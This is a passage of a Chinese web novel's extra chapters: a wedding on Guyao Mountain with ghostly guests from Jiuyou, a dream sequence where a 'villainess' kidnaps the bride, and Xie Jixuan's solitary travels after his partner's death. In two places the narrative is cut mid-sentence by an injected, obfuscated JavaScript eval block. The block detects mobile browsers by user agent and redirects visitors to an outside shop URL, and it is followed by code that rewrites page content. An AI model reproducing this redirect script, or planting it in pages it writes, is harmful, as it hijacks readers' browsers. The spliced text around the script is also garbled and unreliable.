“你们两个,给我一个不打断你们腿的理由。” 柳知微把手机拿远了一点,理直气壮地说:“静时姐姐,要记得来喝喜酒哦。” “和喜酒?”楼静时冷笑了一声,“你知道你俩的合同上写着什么吗?公众人物不得从事有损形象的行为……你俩这算什么?这是直接把形象炸了好吗!” “那就不做公众人物了。”柳清圆的声音从旁边传来,不高不低,却清清楚楚地落入听筒。 电话那头安静了几秒。 楼静时的声音再响起来时,已经不像刚才那样歇斯底里了,而是带着一种疲惫的、认命般的平静:“你们两个是认真的?” “认真的。”两个人异口同声。 又是一阵沉默。楼静时长长地叹了口气,那声叹息里夹杂着无奈、释然,似乎连她自己都没察觉出其中蕴含着的羡慕:“行吧,你们想怎么折腾就怎么折腾,我给你们兜着。不过有一点,公开之前,先让我跟公司通个气,我不想明天一睁眼睛看到热搜第一才知道自己带的艺人出柜了。” “静时姐姐万岁!”柳知微欢呼了一声,然后飞快地补充,“我就知道静时姐姐最好了,是世界上最好的经纪人!” “少拍马屁。”楼静时没好气地说,但语气已经软了下来,“行了,你们俩好好待着,别搞出什么大新闻,剩下的事我来处理。” 挂了电话,柳知微长长地舒了一口气,整个人像一只得到赦免的小动物,软塌塌地缩进柳清圆怀里。 “我还以为她会骂死我们。” 柳清圆低头吻了吻她的发顶,声音低沉而温柔:“她是个很好的人。” 柳知微点点头,闷闷地“嗯”了一声,随即又抬起头来,看着柳清圆:“那我们现在可以发朋友圈了吗?” “等一等。”柳清圆忽然说。 柳知微愣了:“等什么?” 柳清圆没有回答,而是拿起手机,打开了一个柳知微从未见过的页面。 那是一张设计图纸。密密麻麻的尺寸标注之间,嵌着一枚戒指的剖面图,戒圈内侧刻着两个篆体小字“知微”。 柳知微盯着那张图看了很久。久到柳清圆以为她没看清,正要开口,她猛地抬起头,眼泪哗地涌了出来。 “什么时候弄的,那我刚刚给你的岂不是白给了?” “你从姑媱山离开后来到我身边的第一天,”柳清圆的声音很轻,“我想着如果你愿意,就把它给你。如果你不……我就放你走。” “太匆忙了,这种事情应该由我来的。不过没关系,按咱们的规矩来,到时候十个指头都要戴上戒指。” “柳清圆你太过分了。”柳知微的声音碎在哽咽里,“你那么早就想好了,为什么不告诉我?你知不知道我有多难受?我每天都在想你是真的喜欢我,还是只是因为……” “对不起。”柳清圆将她的泪水擦干,“让你等了那么久。” 柳知微摇头:“不准说对不起。你要说……”她深吸一口气,仿佛用尽全力:“你要说''瑛瑛,嫁给我''。要言辞恳切,眼含深情,不准像我这样哭得稀里哗啦的,这是新娘子才准做的事。” 柳清圆怔了一瞬,笑容干净而明亮,她退后半步,认真地看着柳知微的眼睛,立下庄重的誓言。 “瑛瑛,你就是我的婆娘。” 76. 主cp现代番外5 婚礼定在七月十五。 这个消息传出去的时候,楼静时的反应是直接把嘴里的咖啡喷了出去。 “鬼节?!”她瞪大了眼睛,难以置信地看着对面悠然喝茶的柳知微,“你们俩挑了什么日子不好,偏偏挑鬼节?七月半?中元节?百鬼夜行的那个?” 柳知微笑得眉眼弯弯,理直气壮地说:“姐姐是从九幽出来的,那天是她老家最热闹的日子,怎么了?” 楼静时张了张嘴,又把嘴闭上了。 也是,对方的户口本上写的是“九幽籍”,婚期选在鬼节,好像……也没什么毛病? 宋歇在边上默默递了张纸巾给自家老婆,转头看向沈流商。沈流商正襟危坐,脸上挂着一副已经放弃挣扎的表情,旁边的谢济泫倒是饶有兴致地翻着手机,似乎在查鬼节结婚有什么讲究。 “挺好的。”谢济泫合上手机,言简意赅地评价,“省了放烟花的钱,我在九幽那边有编制,到时候还能从那边带气氛组过来。” 沈流商优雅地端着茶杯抿了一口,顺手一肘把谢济泫从桌前撞飞出去。谢济泫在老远外爬起来,随意抹掉唇边的血,迎着众人呆滞的目光笑着道:“看什么看?我媳妇儿的情趣,哪有不爱的道理。” 众人:“……”比一个大拇指。 七月十五,姑媱山。 黄昏时分,夕阳落尽,天边浮起一轮满月。今夜月色极好,银辉铺在山间,照得满山的蓝花楹像笼了一层薄纱,紫色的花穗在晚风中轻轻摇曳。 重建的姑媱山盘了很多精怪,也没有那么浓郁的灵气了,蓝花楹生成的较为艰难,全是柳知微和柳清圆一棵一棵种出来的。 十年前她就开始折腾这件事,把姑媱山上上下下翻了个遍,种了整整三百棵蓝花楹。云缨心疼那些被她刨得乱七八糟的花圃,追了她三条山路,不过瑶姬倒是没说什么,只是笑着看她闹腾,然后悄悄施了个术法,让那些蓝花楹在这一夜之间全开了。 此刻满山遍紫,花影深深浅浅,香气幽淡。石阶两侧挂着红灯笼,灯笼上贴着金色的“囍”字,暖黄的光映在紫色花穗上,好看得不像人间。 自山门通往山顶的青石路上,落满了紫色的蓝花楹,还有一些野花们月白与浅粉的碎瓣,它们层层叠叠,铺就了一条通往喜堂的花路。 “这就是你准备了十年的结果?”云缨站在山门口,双手叉腰,看着满山的狼藉,嘴角抽了抽,“我的花圃被你刨了八个坑,都记在账上的啊。” “云缨姑姑,”柳知微从她背后冒出来,一把抱住她的胳膊,“我结婚你就别念叨了嘛。” 云缨的嘴张了张,到底没能把剩下的话说完,只伸手戳了一下柳知微的脑门:“你呀。” 瑶姬从里面走出来,她今日的穿着与往日的庄严肃穆不同,她只穿着水绿色的长衫,发间簪了一支白玉兰,整个人清雅得像山间的一株幽兰。她看着柳知微,目光温柔而沉静。 “过来。”瑶姬轻声说。 柳知微乖乖走过去,在她面前站定。瑶姬抬手,整了整她嫁衣的领口。 “长大了。”瑶姬的声音微微发颤,但笑容依然温婉从容,“嫁人了。” 柳知微鼻子一酸,眼眶就红了。 “娘亲。”她叫了一声。 她很少用这个词叫瑶姬。小时候叫的是大人,再后来干脆直呼其名。但今天,她想叫一声娘。 瑶姬的手顿了一下,眼底泛起水光。“瑛瑛,”她将柳知微轻轻拥入怀中,声音很轻很轻,“要幸福啊。” 云缨在旁边看着,到底没忍住,别过脸去飞快地抹了一下眼角。 吉时将近,九幽的客人们开始到了。 最先出现的是阿毓。她从山路的尽头走来,周身笼着一层淡淡的幽光,她穿着白色的长袍,衣袂在夜风中轻轻翻飞,如玉的长发披散在身后,发间隐约可见细碎的银色光点,像是星辰落在了她的发丝里。 柳清圆远远地看见她,就迫不及待地提起衣摆,快步走下石阶,停在阿毓面前。 越阿毓伸出手,像很多很多年前那样,轻轻地拍了拍柳清圆的头顶,她的眼眶一瞬间就红了。 “师父。”她的声音有些哑。 越阿毓弯了弯唇角,那笑容里有岁月沉淀下来的从容和慈爱:“圆圆真好看呐,这个小女娃把你照顾得很好。” 柳清圆点头,喉头发紧,说不出话来。 越阿毓的手从她头顶滑下来,落在她脸颊上,指腹冰凉,却带着极其温柔的力量:“她不会像我当年那般,将你弄丢在九幽里了。” 越阿毓的声音很空,像风吹过荒原:“这才是你该有的模样。总算能有人陪着你,让我的圆圆不至于孤苦无依。” 柳清圆终于没能忍住,眼泪无声地滑下来。 越阿毓用拇指替她擦去:“说好了的,不要再为我而伤心难过。” 柳清圆吸了吸鼻子,用力忍住眼泪,哑着嗓子说:“我没哭。” 后面的话还没说完,九幽的大部队到了。先是一阵阴风卷过,满山的蓝花楹被吹得沙沙作响,花瓣纷纷扬扬地落下来,像一场紫色的雪。紧接着,石阶尽头出现了影影绰绰的光点,由远及近,密密麻麻,像是整条银河倾泻在了山路上。 那是九幽的魑魅魍魉们。 走在最前面的是几个身形修长的鬼怪,穿着半透明的纱衣,面容模糊不清,她们手里托着幽蓝色的灯盏,那是从她们掌心渗出的灵光,幽幽地照亮了山路。 后面跟着一群小鬼,个头矮矮的,圆滚滚的,像是被黑暗捏成的糯米团子。它们蹦蹦跳跳地沿着石阶往上跑,背上背着小小的包袱,包袱里装着的都是九幽的特产,忘川河底的死人骨头、奈何桥边的烂手烂脚、还有不知从哪里搜罗来的稀奇古怪的小玩意儿,全当贺礼,还没来得及到山门前就被谢济泫给统统没收了。 再往后的鬼都是身形高大,面目狰狞,但此刻一个个都努力地做出一副和善的表情,那模样反而比凶的时候更吓人了。 还有数不清的小鬼怪,透明的、半透明的,有的像一团雾气,有的像一缕烟,有的只是一双飘在半空中的眼睛。它们密密麻麻地铺满了整条山路,从山脚一直排到山门,石阶上缀满了星光。 柳知微站在山门口,看着这一幕,笑得露出两颗小虎牙:“圆圆老家的人来得还挺多的嘛。” 云缨往后退了半步,她虽然是瑶姬的助手,算是半仙之体,但一下子看到这么多九幽来客,还是本能地不喜这煞气。瑶姬伸手握住她的手,云缨深吸一口气,重新站稳。 “没事。”瑶姬低声说,“都是亲戚。” 云缨:“……”还真是见鬼的亲戚。 怀崖吃多了酒,来的时候都很晚了,他飘飘然从山巅落下,衣袂翻飞如鹤。沈流商他们齐齐迎上去,在他面前拜了下去。 “师父。” “为师没有来迟吧?”他的声音温和如故。 柳知微抬起头,笑嘻嘻地说:“怀崖老头,今天我跟清圆拜堂,你还敢来迟,待会儿可要罚你留下来洗碗。” 怀崖看了她一眼,又看了看柳清圆,忽然觉得这画面有些荒诞。当年他初见柳清圆时,那孩子浑身是刺,谁都不让靠近,如今她却要成亲了,嫁的还是另一个自己看着长大的徒弟。 缘分这事,果然是逃不开的。 “行。”怀崖点了点头,云淡风轻地说,“只要给酒吃,洗多少碗就得多少福气!” 宴席上沈流商不由得贪杯了,此刻他歪歪斜斜地走在前面,怀里抱着两坛酒,酒坛子磕着他的胸口,发出沉闷的声响。 谢济泫慢了一步,跟在后面,手里提着东西,还得分神去看前面那人的衣摆。 衣摆又拖地了。 沈流商的袍子做得太长,下摆扫过碎石路,踩一脚,泥和水就沾上去一块。沈流商浑然不觉,脚步还飘着。 谢济泫没出声。他弯腰,把垂落的衣摆一层层提起,拢在指间,然后他就这么提着,不紧不慢地走在后面, 沈流商忽然回头,醉眼朦胧地问:“你拎着我衣服做什么?抢我衣服啊?” 谢济泫抬眼看他,又好笑又无奈地叹口气:“我可是怕夫君你摔了。” “我又不是小孩子。”沈流商嘟囔着转头,步子却悄悄慢了一些。 沈流商看见柳知微笑了笑,从袖中取出一样东西递给她。是一个小小的锦盒,打开来,里面躺着一个人参果。 “我先前杀死沈酌清时从镜花水月里带出来的,”沈流商说,“那道木灵精魄还有残魂,我将它以幽都之力拘于人参果之中,假以时日,或可修成人形,还能有缘得道。” 是芝麻那狗子,也是一直陪在她身边的系统。柳知微看着那枚人参果,又看了看沈流商,眼眶一下子就红了。 “师哥……” “诶收回去,我可听不得从你嘴里冒出什么肉麻话来啊,不然一不小心把你小时候的糗事说出来就不好了。”沈流商伸手拍了拍她的头,动作温柔得像一位兄长。 “沈牛山,今天可是我大喜的日子!”柳知微吸了吸鼻子,把眼泪忍了回去。 沈流商笑了:“这还差不多,刁蛮任性的小姑娘才像你嘛。” 谢济泫不知何时已来到沈流商身后,静静望着这一幕。见柳知微收下人参果,他微微颔首以示认可。柳知微朝他眨眨眼,唤了声“嫂嫂”,谢济泫坦然应下,敛去眸中的得意。 喜堂设在姑媱山的主殿,殿内张灯结彩,红幔垂地。正中供着天地牌位,左右两侧各设一座,左侧坐着怀崖,右侧坐着瑶姬。云缨站在瑶姬身后,努力克制自己不去看那些趴在窗棂上往里探脑袋的小魍魉。 越阿毓坐在怀崖下首,与瑶姬相对。两位“母亲”隔着一条过道,不知怎的目光撞上了,各自微微颔首,竟有几分亲家会面的意思。 柳知微从殿外走进来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柳知微用力眨了眨眼,然后忽然转头看向殿外,声音脆生生地喊了一句:“开席了!” 柳知微端着酒杯一桌一桌地敬过去,笑得眉眼弯弯。偶尔有魍魉拉她的衣角,她就蹲下来摸摸它们的头,顺手塞一块喜糖。 柳清圆走在她身边,替她挡了大半的酒,面不改色地喝了一杯又一杯。越阿毓坐在席间看着这一幕,嘴角的笑意始终没有散去。 敬到越阿毓面前时,柳清圆端着酒杯,弯下腰,认认真真地说了一声:“师父。” 她看着柳清圆,看了几秒,然后缓缓地伸出手,接过那杯酒,一饮而尽。 柳清圆点头,起身时,柳知微已经从旁边伸出手来,挽住了她的胳膊。两个红衣的身影并肩走向下一桌。 “阿姐!”沈流商远远地看见楼静时,扬声喊了一句。 楼静时正和宋歇说着话,忽听身后动静,回头一瞧,见是自家弟弟和弟媳来了,眉间愁云顿时散了大半。她瞥了一眼沈流商那东倒西歪的模样,嘴角一弯,意味深长地看向谢济泫:“有劳弟媳了。” 谢济泫面上端得四平八稳,只轻轻“嗯”了一声,朝周围人各点了一下头,便将沈流商往自己肩上一带,架着人转身就走。步子迈得又急又稳,半点儿没有要停下来的意思。 柳知微举着酒杯起哄:“这才刚开席呢,怎么就走了?” 谢济泫头也没回,猴急得跟什么似的:“人醉了,我带他回去醒醒。”旁边的人一阵哄笑,这至于怎么醒,那就只有他自己知道了。 …… 吃罢酒席,有只小魍魉圆滚滚的,靠近了柳知微,被她戳得东倒西歪,也不生气,反而发出咕噜咕噜的声音,像是在撒娇,旁边还有几只小魍魉围着她打转。 “你这是在做什么?”柳清圆蹲下来,拈起她的一缕发丝。 “招呼客人啊。”柳知微理所当然地说,手里还在戳那只小魍魉的头,“它们从九幽大老远跑来的,我得照顾好了。” 柳知微看着那些透明的小东西,嘴角抽了抽:“它们……不会把喜堂吃了吧?” “不会。”柳清圆信誓旦旦地说,“最多偷几块喜糖。” 柳知微笑起来:“没事,反正准备得多。” “我给它们留了几辈子也吃不完的喜糖。” 柳知微还在戳那只圆滚滚的小魍魉,它被她戳得翻了个跟头,发出“咕叽”一声,旁边的几只也跟着学,滚成一团透明的毛球。 姑媱山的石阶上,瑶姬不知什么时候走了出来。她没有走近,只是站在灯笼照不到的暗处,远远看着殿门口那个蹲在地上、笑得像个孩子的红色身影。 然后她轻轻转过身,沿着石阶往下走。云缨跟在她身后,欲言又止,终是没出声。 夜风卷起蓝花楹的花瓣,落在她水绿色的衣摆上。 77. 恶毒女配抢婚了 窗外鼓乐声远了。 柳知微站在廊下,看着那顶绣着并蒂莲的八抬花轿渐行渐远,红绸铺了半条街,热闹非凡。 这一次穿越任务,她成了原著里那个活不过三章的恶毒女配,柳府二小姐柳莺娘,原著里各种陷害女主,挑拨离间小情侣,最后被男主一掌拍死,可谓惨绝人寰,怎么解气怎么来。 柳知微揉着太阳穴,试图回忆今天的剧情,原著里这应该是女主柳清圆大婚的日子,嫁给封府那个病秧子公子封瑾遥。原著剧情走到这里,女主嫁入封府,开启宅斗剧本,而柳莺娘这个角色则会在大婚当天买凶杀人,破坏这桩婚事,结果却偷鸡不成蚀把米,反被卖进窑子里,下场凄惨。 而她苟了这么大半本书,就等着这一天的来临,做一个合格的恶毒女配就要不择手段,等干完这一票,她就能赚到她人生中的第一桶金了。 柳知微转身回了房,关上门,靠在门板上,闭上眼睛,可眼前全是那顶花轿的样子。 那红嫁衣可真红啊。 新娘入轿,轿帘落下。 “起轿——!” 鼓乐震天,花轿抬起,朝着封相府而去。 约莫两炷香后,花轿抵府。鞭炮声、人声鼎沸。柳清圆被搀扶下轿,跨火盆,进喜堂。 那盖头可真盖头啊。 喜堂内,气氛热烈而诡异。高堂上,封相坐于主位,面色是竭力压抑后的激动与疲惫。 “一拜天地——” 新娘盈盈下拜。 “二拜高堂——” 转向封相,再拜。 这老头可真老头啊。 “夫妻对拜——” 柳知微深吸一口气,把这莫名其妙的情绪压下去。她走到铜镜前,看着镜中自己的脸,像极了原著里那个“心机深沉、善妒成性”的恶毒女配。 今晚就要动手了。柳知微动用了自己最大的权限,对这段剧情做了一些改动,更加方便她下手。 “小姐,不好了不好了!”门外响起丫鬟急切的声音。 “封府那边出乱子了!昨儿拜堂的时候,封家公子突然发了疯,说大小姐是妖,是花妖,要吃人的!喜堂上一团乱,大小姐被关进了偏院,封府全府戒严了!” 柳知微收拾着夜行衣,一边联络着系统,及时通报着女主那边的情况。 柳清圆被封府关在偏院,每日只送一顿饭,不许任何人探视。封相对外宣称新娘子受了惊吓在静养,可京城里已经传得沸沸扬扬,说封家公子是疯子,说柳家大小姐是妖孽,说什么的都有。 柳知微看着光屏,嘴角勾起。做一个合格的恶毒女配,就要做事干脆利落,善于伪装。 夜色已深。 封相府因白日闹剧,守卫比平日更严,但混乱也留下了漏洞,柳知微凭着对府邸布局的事先探查,以及系统的探测辅助,悄无声息地潜入。 柳清圆厢房外,守卫森严。 柳知微伏在屋顶,耐心等待。直到子时更鼓敲过,守卫换班,出现短暂空隙。 她像一片落叶飘下,两道手刀下去,正中门外两名护卫后颈。两人闷哼一声,软倒。 她推开房门。 屋内,柳清圆已褪去嫁衣,只着中衣,坐在灯下看书。听见动静,她抬起头,神色平静,仿佛早料到会有人来。 “你来了?”她声音轻柔,不见慌乱。 柳知微压低嗓音,故意让声音粗嘎难辨:“劫色的。” 她上前,一把扣住柳清圆手腕,触手冰凉。 柳清圆没有挣扎,只是静静看着她蒙面下的眼睛,忽然轻声道:“好妹妹带我走吧,这封相府全是些吃人不吐骨头的,他们都不肯信我。” “好妹妹,我盼了你好久。” 柳知微心头一震,忽略心中的异样感,手上力道加重,她将柳清圆拦腰抱起,冲出房门,几个起落便翻出院墙。 真是出奇地顺利,封府的守卫似乎被有意无意地调开了。 柳知微心中掠过一丝疑虑,但此刻不容多想。到了马厩,柳知微忽然木鸡呆住。 等一下,她不会骑马。原因无他,某一世她穿成了个妖妃,被判了个五马分尸,那样的痛苦到今日还记忆犹新。 柳清圆在她怀里静了片刻,轻轻拍了拍她的肩膀。柳知微下意识松手,柳清圆轻巧落地,翻身上马,动作行云流水。 她伸手给柳知微:“上来。” 柳知微愣了一下,握住那只白皙的手,借力翻上马背,坐在柳清圆身后。 马鞭一响,骏马嘶鸣,朝着城门疾驰而去。 夜风灌进领口,柳知微不由自主地收紧了揽在柳清圆腰间的手臂。柳清圆的腰很细,隔着薄薄的中衣,能感觉到底下温热的体温。 “二妹妹,”柳清圆的声音从前方传来,被风吹散了些,“你想带我去哪?” “恁这小妮子胆子倒大,谁是你二妹妹?”她敷衍道,“俺将你劫出城外,看你姿色不错,便安置你做个外室,等玩腻了,恁就等着死吧!” 柳清圆轻轻笑了一声,“金屋藏娇吗?二妹妹好雅趣。” 柳知微:“……”这人怎么不按套路出牌!而且她真的有那么好认出来吗? 马跑得飞快,两旁的街景飞速后退。柳知微认出这是通往城北的路,不是城门的方向。 她皱眉:“这是去哪?” 柳清圆没有回答,只是更用力地挥舞着马鞭,驾着马疾驰而去。柳知微暗道不好,这女主人设都崩坏了,原来之前在她面前一直是伪装,一直快到大结局的时候才露出爪牙,现在怕是要把她给骗到城外找个地方给捏成碎冰冰了。 柳知微不仅为自己失业而感到痛苦,更因为任务失败而恼羞成怒,眼看着系统也开始装死,她索性直接摊牌了:“柳清圆,你藏得够深啊。” “你别以为我真就什么手段都没有了,我岂会轻易死在你的手上,告诉你,我早就备好了天罗地网,我还可以……我还可以现在就跳马跑路!” 柳清圆没回答她的话,而是将马停在了一处张灯结彩的别院前。 从门廊到正堂,一路铺着红毡,两侧挂着红绸和喜字灯笼,烛火把整座院子映得通红。 柳知微整个人都懵了,她机械地被柳清圆牵着往前走,看见正堂里站满了人。 每个人都穿着喜庆的衣裳,脸上带着笑,而柳知微大为震惊的是,她看见女主的两个后宫居然牵起手来了,甚至那本就逝去了的沈家小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576366|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐居然也和靖王好好地站在一起,还深情地当众啵了一口。 柳知微的大脑彻底死机了。 “这……这是怎么回事?” 柳清圆转过身,面对着她,月光和烛火同时落在她脸上,她的笑容温柔似水。 “瑛瑛,”她忽然不叫她二妹妹了,“你今天去封府,是要做什么?” 柳知微下意识回答:“上班啊……把你劫走……” “为什么要劫走我?” “因为……”柳知微张了张嘴,脑子里一团乱麻,“因为你是女主,我是穿书的恶毒女配,我应该……” 她说不下去了。 柳清圆静静看着她,轻轻重复她的话:“恶毒女配?谁告诉你你是恶毒女配的?” “我是……”她想辩解,可声音越来越小,“原著里写的,柳家二小姐,心机深沉,善妒成性,陷害女主……” 柳清圆松开手,退后一步,从袖中取出一方红帕,轻轻覆在自己头上,便是充作了红盖头。 “瑛瑛,还是做戏做全套吧,”盖头下,柳清圆的声音温柔而坚定,“你今天的任务,不是抢婚。” 柳知微呆呆地看着她。 “是结婚。” 柳知微被一群人推着搡着,七手八脚地被换上了一身大红嫁衣。她被人群簇拥着走到正堂中央,柳清圆已经等在那里许久了,红盖头低垂,大红嫁衣曳地,身姿窈窕如画。 “瑛瑛,你应当醒来了。”盖头下传来柳清圆的声音,轻轻的,带着笑意。 柳知微不受控制地伸手,缓缓掀开了那方红帕,眼神还有些迷惘,:“我……我到底是谁?” “你是我爱的人。”她说。 “不可能……”柳知微有些急了,“我是经历了10086世实习期的穿越班优秀毕业生,金牌任务者,这些都是假的,我才不是……” 柳清圆歪头想了想,忽然笑了。 “你一定要有一个身份的话,”她说,“你是我的妹妹,我的……” 她顿了顿,声音轻下去。 “我的妻子。” 柳清圆伸手捧住她的脸,拇指轻轻摩挲她的颧骨,在她的眉间轻轻一点,光华流转,柳知微眼中忽的亮起粉红花光,好似大梦方醒,脑子里轰隆隆地响。 柳知微语带疑惑:“师姐?这是怎么……”她转头看向周围,眼中布满迷茫,“我这是老毛病又犯了?” 在脱离了镜花水月之后,柳知微的识海受创严重,时不时还会陷入到错乱的过去里,不知今夕何夕,还需要他人入她的识海救她出来。 柳清圆将她抱得更紧了些,周围宾客渐渐化作灵光散去,红绸喜烛也如烟消融。 柳知微靠在师姐肩头,声音闷闷的:“我又闹笑话了。” “无妨。”柳清圆吻了吻她发顶,“这次扮的是恶毒女配?下次想演什么,我还陪着你。” 柳知微垂下眼睫:“我不知道我还能清醒几次,这次……又能清醒多久。” 柳清圆笑了,伸手擦掉她脸上的泪,拇指在她眉心轻轻一点,光华流转间,窗外的烟花恰好炸开。 “一万多次都是这样过来的,不差这几回,相信我,师姐总能找到你的。” 78. 谢济泫x沈流商 谢济泫呆在幽都那几年,活得像一只真正的鬼。 昼夜颠倒,魂不守舍。一腔无名火起时,便提剑在幽都里横冲直撞,削白菜萝卜似的将那些鬼怪砍了一茬又一茬。久而久之,幽都的小鬼们连作乱的胆子都没了,因为这位大人比鬼还像鬼,他们才是见了真鬼。 后来他渐渐不爱待在幽都,天天往外跑,疯疯癫癫的,谁也管不住。这位祖宗就这么浑浑噩噩过了几十年,终于在二位仙子的点化下,一朝清醒过来。 幽都众鬼暗暗松了口气:总该消停了吧? 然而他们想错了。 清醒过来的谢济泫,转身又干了一件惊天动地的大事。 他把幽都那些游手好闲的精怪鬼煞全部拢到一起,开了个班。 开班第一天,以前那些刺头一个个都服服帖帖的,身上都带着不同程度的重伤。 谢济泫站在上头,面无表情地看着他们:“从今天起,幽都的规矩改一改。” 底下嗡嗡嗡地议论起来。 “第一,”他说,“不许随便吓唬活人。吓死了还得去接,麻烦。” 老鬼们面面相觑。 “第二,爱护公物。万一失手掰扯起来,也要点到为止,记得给自己留口气儿。完事儿后,把地拖干净了才准走。” 有只鬼老老实实举手:“牢大,那要是有人欺负俺们呢?” 谢济泫:“打不过的来找我。” 底下那群鬼眼睛霎时就亮了,空空的眼窝里,鬼火幽幽晃着。 “结课。” 然后就没了,说了当没说。 事实上,沈流商消散以后,那道彼岸结界便加固得严严实实,幽都一片安宁,天地万物法则自己运转,用不着谁去操心。 谢济泫一闲下来,幽都就别想太平。 那些刺头们又遭了殃,天天被他拎出来练手,鬼哭狼嚎,满地打滚,苦不堪言。他倒不是真跟谁过不去,只是给自己找点事干。要是没有纠纷,他就去制造纠纷,等架打起来了,他又装模作样地去劝,主打一个闲不下来。 因为一闲下来,谢济泫就有些不自在,脑子里会不自觉地去想别的,去想那些不该想的事。 去想他。 柳知微和柳清圆来看过他,劝他多去人间新建的姑媱山走走。她们想着,有人陪着,他心里或许能好受些。可这对谢济泫来说毫无意义,他本就是因一个人而存在,又因那个人才走向这天地,如今引路的人不在了,他便懒得再走下去。 后来柳知微又到幽都试过感召,只凝聚出啾啾留下的那支鸾羽。沈流商的灵已经散得无影无踪,那鸾羽便成了死物,却依旧不腐不朽。她把这支鸾羽留给谢济泫时,他小心翼翼地捧过,终究摇了摇头,还给了她,让它留在姑媱山,而后他亲手为沈流商立起一块碑。 每年清明,他都要到姑媱山来。 柳知微照例在院门口等着,远远见着人影,眼睛就弯起来。等他走近,喊一声“嫂嫂”,声音还像当年那样清亮。 她又问:“这回可肯多住几日?” 他还是摇头,像往年一样。 然而这次走到山脚,谢济泫却难得觉出些异样,这道上的人比往年多了好多,三三两两都往一个方向去。鬼使神差地,他顺着人流走,竟看见一个集市。 也不知什么时候起的,山脚下聚起这般热闹,他本是要穿过去的,脚步却慢下来,最后停在一个画摊前。 摊子上摆着些册页,他蹲下来,一页页翻看。 江南水乡烟雨蒙蒙,小船飘飘悠悠从桥下过,船上的妇人头上簪花,一旁的郎君为她撑着伞。也有北边的雪地,白茫茫一片,冰晶透亮如银。群山绵延,草木深深,山顶有雪,半山腰云雾缭绕。大江东去,乱石穿空,卷起千堆雪。大漠孤烟,长河落日……春天桃花嫋嫋,秋日枫叶素素,这画的是人间的万般风情。 他翻得慢,翻了好久,摊主都等烦了,他才想起来问价。虽然他掏口袋的时候,还是有点没想明白为什么要买。 接下来的日子,谢济泫开始赶路了。那画册上的地方,他都要去一趟。 暮春的落花铺满青石小径,谢济泫踩着碎锦似的花瓣,往乌衣巷深处走去。 谢济泫身上的死气太重,这里的精怪对他避之不及,他低头一瞥,便见一朵半绽的花苞里,藏着个瑟瑟发抖的小东西。那是一只刚化形不久的小花精,翅子还是半透明的嫩绿色,此刻正把自己团成一团,拼命往花蕊深处缩。它抖得厉害,连带整朵花都跟着轻颤,几片花瓣簌簌落下来。 谢济泫在它面前蹲下身。 小花精把脸埋进花蕊里,只露出两个尖尖的小耳朵,翅膀紧紧贴着身体,恨不得自己从未存在过。 谢济泫看了它一会儿,指尖凝起一星灵光,正悬在花苞口,像是特意喂给它的。他的眼睛是灿烂的金色,微微透着笑,看不出什么恶意。 小花精犹豫了又犹豫,终于抵不过灵力的诱惑,颤巍巍探出半个脑袋。它飞快地叼住那点灵光,正要往回缩,却被逮了个正着。 它扑腾着翅膀,两只眼睛瞪得溜圆,努力做出凶巴巴的样子,谢济泫却只是轻轻笑了一声,松开手。 小花精嗖地缩回花蕊深处,把自己埋得严严实实,只留下几片被它撞落的花瓣,悠悠飘到谢济泫膝上。 每到一个地方,他便停下来,轻轻翻开那本画册。 “江南的花很多,”他蘸了蘸墨,在空白处写道,“瑛瑛应当会喜欢这里。我明天带你去雪山看看好不好?” 搁下笔,指尖凝起一点微光,往画面上轻轻一抹。 画面里,撑伞的人影淡了,像沾水晕染开了。簪花的那张脸也换了眉眼,却还留着笑,遥遥地,应他那一声问。 写完后他就把本子合上,从来不往回翻。 雪山很高,很冷。 谢济泫在雪地里走了三天,遇见过雪崩,遇见过暴风雪,也遇见过一群雪狐。那群狐狸一开始躲在远处看他,后来有一只胆大的凑过来,在他脚边蹭了蹭。 他蹲下来摸了摸它的脑袋,毛很软。 狐狸眯起眼睛,发出细小的叫声。 谢济泫依旧不要钱似的,将灵力喂给它们吃。其他的狐狸看见了,也围过来,在他脚边挤成一团。 等到它们都吃不下了,雪停了,他便站起来,拍拍身上的雪,继续往前走,心道这还不够。 走到山顶的时候,正好是日出。 金色的光照在雪上,亮得晃眼。谢济泫站在那里看了很久,看着光一点一点铺满整片雪山,看着云海在脚下翻涌。 然后他拿出本子。 “最喜欢雪山,在山顶上你就能看见我的眼睛。” 他把本子收好,下山的时候,那群雪狐真的跟在他后面,一路跟到了山脚。 谢济泫低头看它们。 “还不够,还不够。” 不知又走了多久,他确实累了,便在一片老林子里倒下。就那样躺着,任凭泥土和落叶往身上落,然后合上眼,但是他灵识还在,对于周围的一切都能感知到。 先是一头野猪从身上跨过去,蹄子踩在他身侧,陷进泥里又拔出来。后来夜里来了熊,围着他转了两圈,鼻息喷在他脸上,腥臭得很。 鹿群每年都会路过。蹄子密密麻麻踩过去,偶尔有小鹿好奇,停下来舔一舔他的脸。 林子里的动静每轮都在变,他躺下却也没有再起来,就这样渐渐被埋在地下,起来一个小小的荒坟。 有一回,他听见人声。 一群人都在哭,就在他旁边不远处,铲子起起落落。有人在哭,有人劝,有人烧纸钱……那群人闹腾了半天,最后留下座新坟,就在他左边十来步。 他觉得这倒有意思,躺着躺着,还躺出邻居来了。 后来,那坟前断断续续有人来。 起先是个女人,隔三差五地来。一来就哭,哭得很厉害,整个人趴在坟头上,手抓着黄土,嘴里絮絮叨叨地念叨着什么。她哭完了,就拿袖子擦擦眼睛,站起来,在坟前站一会儿,然后慢慢走回去。 再后来,来的就是两个汉子和一个老太太了。他们提个篮子,里头装着黄纸、供果,有时候还有一小壶酒和一整个猪头肉 